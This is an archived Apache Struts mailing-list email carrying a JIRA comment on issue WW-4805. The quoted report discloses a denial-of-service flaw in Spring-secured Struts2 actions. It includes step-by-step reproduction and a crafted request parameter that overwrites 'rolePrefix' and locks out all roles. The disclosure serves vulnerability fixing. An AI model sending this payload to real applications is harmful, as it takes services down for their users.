Return-Path: X-Original-To: archive-asf-public-internal@cust-asf2.ponee.io Delivered-To: archive-asf-public-internal@cust-asf2.ponee.io Received: from cust-asf.ponee.io (cust-asf.ponee.io [163.172.22.183]) by cust-asf2.ponee.io (Postfix) with ESMTP id E95F4200CAC for ; Mon, 19 Jun 2017 09:11:06 +0200 (CEST) Received: by cust-asf.ponee.io (Postfix) id E834B160BE4; Mon, 19 Jun 2017 07:11:06 +0000 (UTC) Delivered-To: archive-asf-public@cust-asf.ponee.io Received: from mail.apache.org (hermes.apache.org [140.211.11.3]) by cust-asf.ponee.io (Postfix) with SMTP id 3AA8A160BE1 for ; Mon, 19 Jun 2017 09:11:06 +0200 (CEST) Received: (qmail 6769 invoked by uid 500); 19 Jun 2017 07:11:04 -0000 Mailing-List: contact issues-help@struts.apache.org; run by ezmlm Precedence: bulk List-Help: List-Unsubscribe: List-Post: List-Id: Reply-To: dev@struts.apache.org Delivered-To: mailing list issues@struts.apache.org Received: (qmail 6756 invoked by uid 99); 19 Jun 2017 07:11:04 -0000 Received: from pnap-us-west-generic-nat.apache.org (HELO spamd4-us-west.apache.org) (209.188.14.142) by apache.org (qpsmtpd/0.29) with ESMTP; Mon, 19 Jun 2017 07:11:04 +0000 Received: from localhost (localhost [127.0.0.1]) by spamd4-us-west.apache.org (ASF Mail Server at spamd4-us-west.apache.org) with ESMTP id 51268C0620 for ; Mon, 19 Jun 2017 07:11:04 +0000 (UTC) X-Virus-Scanned: Debian amavisd-new at spamd4-us-west.apache.org X-Spam-Flag: NO X-Spam-Score: -99.202 X-Spam-Level: X-Spam-Status: No, score=-99.202 tagged_above=-999 required=6.31 tests=[KAM_ASCII_DIVIDERS=0.8, RP_MATCHES_RCVD=-0.001, SPF_PASS=-0.001, USER_IN_WHITELIST=-100] autolearn=disabled Received: from mx1-lw-eu.apache.org ([10.40.0.8]) by localhost (spamd4-us-west.apache.org [10.40.0.11]) (amavisd-new, port 10024) with ESMTP id w5t4sd1gGHHr for ; Mon, 19 Jun 2017 07:11:03 +0000 (UTC) Received: from mailrelay1-us-west.apache.org (mailrelay1-us-west.apache.org [209.188.14.139]) by mx1-lw-eu.apache.org (ASF Mail Server at mx1-lw-eu.apache.org) with ESMTP id A586A60DA1 for ; Mon, 19 Jun 2017 07:11:01 +0000 (UTC) Received: from jira-lw-us.apache.org (unknown [207.244.88.139]) by mailrelay1-us-west.apache.org (ASF Mail Server at mailrelay1-us-west.apache.org) with ESMTP id CD0C1E0D57 for ; Mon, 19 Jun 2017 07:11:00 +0000 (UTC) Received: from jira-lw-us.apache.org (localhost [127.0.0.1]) by jira-lw-us.apache.org (ASF Mail Server at jira-lw-us.apache.org) with ESMTP id 2D1E424003 for ; Mon, 19 Jun 2017 07:11:00 +0000 (UTC) Date: Mon, 19 Jun 2017 07:11:00 +0000 (UTC) From: "ASF GitHub Bot (JIRA)" To: issues@struts.apache.org Message-ID: In-Reply-To: References: Subject: [jira] [Commented] (WW-4805) At least a DoS attack is available for Spring secured actions MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-JIRA-FingerPrint: 30527f35849b9dde25b450d4833f0394 archived-at: Mon, 19 Jun 2017 07:11:07 -0000 [ https://issues.apache.org/jira/browse/WW-4805?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16053541#comment-16053541 ] ASF GitHub Bot commented on WW-4805: ------------------------------------ Github user lukaszlenart commented on the issue: https://github.com/apache/struts/pull/142 If no objections I am going to merge this PR, btw. I have created a task to implement Voters https://issues.apache.org/jira/browse/WW-4807 > At least a DoS attack is available for Spring secured actions > ------------------------------------------------------------- > > Key: WW-4805 > URL: https://issues.apache.org/jira/browse/WW-4805 > Project: Struts 2 > Issue Type: Improvement > Components: Core, Plugin - Spring > Affects Versions: 2.3.32, 2.5.10 > Reporter: Yasser Zamani > Labels: github-import, patch, security > Fix For: 2.3.33, 2.5.next > > > This is a DoS attack example when Struts2 user uses Spring to secure his actions, like mentioned at section `Initializing Actions from Spring` of [spring-plugin|https://struts.apache.org/docs/spring-plugin.html] > Attack Steps: > # An anonymous user logins as an authenticated user. > # Then tries > {noformat} > http://{ip}:{port}/{action0-actionN}?advisors[{0-n}].advice.accessDecisionManager.decisionVoters[{0-n}].rolePrefix=breakit > {noformat} > where {action0-actionN} are actions available for users > Attack Impacts: > By replacing `rolePrefix`, attacker blocks access to secured actions for all defined roles even if they authenticate via login! so services are down and webapp restart is required to back to normal!!! > Configuration Example: > * spring-security.xml > {code:xml} > > > > > > > > > > > > > {code} > * applicationContext.xml > {code:xml} > > {code} > * struts.xml > {code:xml} > > > > > > > {code} > * SecureAction.java > {code:java} > package me.zamani.yasser.ww_convention.actions; > import org.springframework.security.access.annotation.Secured; > public class SecureAction { > @Secured({"ROLE_ADMIN"}) > public String admin() { > return "success"; > } > @Secured({"ROLE_USER"}) > public String user() { > return "success"; > } > } > {code} > * login via > {noformat} > http://{ip}:{port}/login > {noformat} > as user. > * open > {noformat} > http://{ip}:{port}/user?advisors[0].advice.accessDecisionManager.decisionVoters[0].rolePrefix=breakit > {noformat} > * in another browser, login via > {noformat} > http://{ip}:{port}/login > {noformat} > as admin. > * try to access > {noformat} > http://{ip}:{port}/admin > {noformat} > which fails! > * also repeat 5 and try open > {noformat} > http://{ip}:{port}/user > {noformat} > which also fails! > * Services are down and webapp restart is required to back to normal. -- This message was sent by Atlassian JIRA (v6.4.14#64029)